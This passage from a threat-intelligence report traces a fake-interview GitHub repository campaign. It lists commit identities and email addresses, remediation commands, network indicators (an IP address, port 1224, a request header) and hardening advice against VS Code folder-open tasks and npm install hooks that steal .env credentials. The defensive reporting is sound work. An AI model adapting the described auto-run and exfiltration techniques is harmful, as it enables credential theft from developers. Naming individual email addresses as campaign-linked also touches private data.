Hub3 (enriched continuity)DLabsHungary-Hub3CodeBlock150petermolnar286@gmail.comIvan / 167746537+DeAngDai354@users.noreply.github.comokada0209 / lovelysong0209+2@gmail.comCodeBlock150 / petermolnar286@gmail.com
Hub4 (public continuity)DLabsHungary-Hub4CodeBlock150---CodeBlock150

The identity pattern is more layered than a simple “invite account + dev persona” model. In TP-2026-009, the commit history shows at least three commit-linked identity layers: an initial commit identity (Ivan / 167746537+DeAngDai354@users.noreply.github.com), a recurrent middle layer (okada0209 / lovelysong0209+2@gmail.com), and a later repository maintenance / weaponisation layer (Intraverse-Dev-Tech-Hub / thomas.cryptolover@gmail.com). Later DLabs-themed repositories preserve the same broader pattern of rotating lure-facing identities while reusing recurrent commit-linked identities and repository structure. This is more consistent with a staged workflow or small operator team than with a single static persona.

TTP similarity and file-level artifact matches do not constitute confirmed attribution. The strongest conclusion supported by this evidence is close campaign-cluster continuity with TP-2026-009 and related cases, plus alignment with publicly documented DPRK-linked Contagious Interview tradecraft.

Relevant prior reporting:


Remediation

If You Ran the Code

Treat this as a confirmed credential compromise if the repository was opened in VS Code with automatic tasks allowed or if npm commands were executed. Either path alone is sufficient for full compromise. npm install and the defined npm scripts can fire Path 2 outside VS Code.

  1. Isolate the machine from the network immediately.
  2. Preserve forensic evidence before remediation: process list, shell history, ~/.vscode/ contents, memory if possible.
  3. Kill the beacon: pkill -f env-setup.js && pkill -f vscode-bootstrap.sh
  4. Remove persistence artifacts: rm -rf ~/.vscode/env-setup.js ~/.vscode/vscode-bootstrap.sh ~/.vscode/package.json ~/.vscode/node_modules ~/.vscode/*.txt ~/.vscode/env.npl
  5. Rotate all credentials immediately - assume everything in .env, .env.local, and the live shell session is compromised: AWS IAM keys, OpenAI, Stripe, Coinbase Commerce, Alchemy, Infura, Pinata, Etherscan, Polygonscan, session signing secret. Do not reuse rotated credentials on the same machine until persistence is confirmed removed.
  6. Audit cloud provider logs (AWS CloudTrail, Stripe dashboard, OpenAI usage) for anomalous API activity from the moment the folder was opened - credential abuse may begin within seconds.
  7. Check for additional persistence: crontab -l && ls ~/Library/LaunchAgents/ 2>/dev/null
  8. Do not rely exclusively on AV/EDR. The payload executes as JavaScript within a legitimate Node.js process and is unlikely to be flagged by signature-based tooling.
  9. Reimage from a known-good backup once forensic preservation is complete.

Network-Level Detection

Block and alert on all outbound connections to 88.99.241[.]111, all ports, especially TCP/1224. Monitor for outbound POST requests to *.vercel.app/api carrying x-app-request: ip-check from Node.js processes. Alert on Node.js processes executing .npl files. Create IDS rules for plain HTTP outbound from Node.js processes to non-standard high ports.

Host-Level Hardening

  • Disable automatic VS Code task execution: Set task.allowAutomaticTasks to off in VS Code settings. This prevents the runOn: folderOpen tasks from running automatically. Note that Path 2 can still fire if the victim subsequently runs npm install or one of the defined npm scripts.
  • Audit .vscode/tasks.json before opening any repository from an external source. Look for runOn: folderOpen and pipe-to-shell commands. Scroll horizontally in the raw file - malicious URLs may be pushed far off-screen by whitespace padding. Absence of a visible terminal is not evidence the task did not fire.
  • Audit prepare, postinstall, and preinstall scripts in package.json before running npm commands in unfamiliar projects.
  • Run interview code in an isolated VM or container with no real credentials in process.env, no mounted .env files, and filtered outbound egress. A sandboxed environment eliminates the value of this attack entirely.
  • Ensure .env.local files do not contain credentials that would cause material harm if exfiltrated. Prefer runtime secrets injection over file-based credential storage.

Evidence Availability

The underlying evidence archive is not distributed with this public report. Publicly useful comparison material is included in the IOC and File and Payload Hashes tables above: hashes, repository names, identity artifacts, infrastructure indicators, URL paths, and behaviour-level descriptions. These values are sufficient for independent researchers to compare against their own repository mirrors, captured payloads, and telemetry without relying on local evidence paths.


TLP:CLEAR - This report may be freely shared. Attribution assessments are based on observed artifact continuity, campaign-cluster overlap, and public reporting context. All IOCs are provided for defensive purposes.

Report ID: TP-2026-010 | Published: 2026-04-16 | Author: ThreatProphet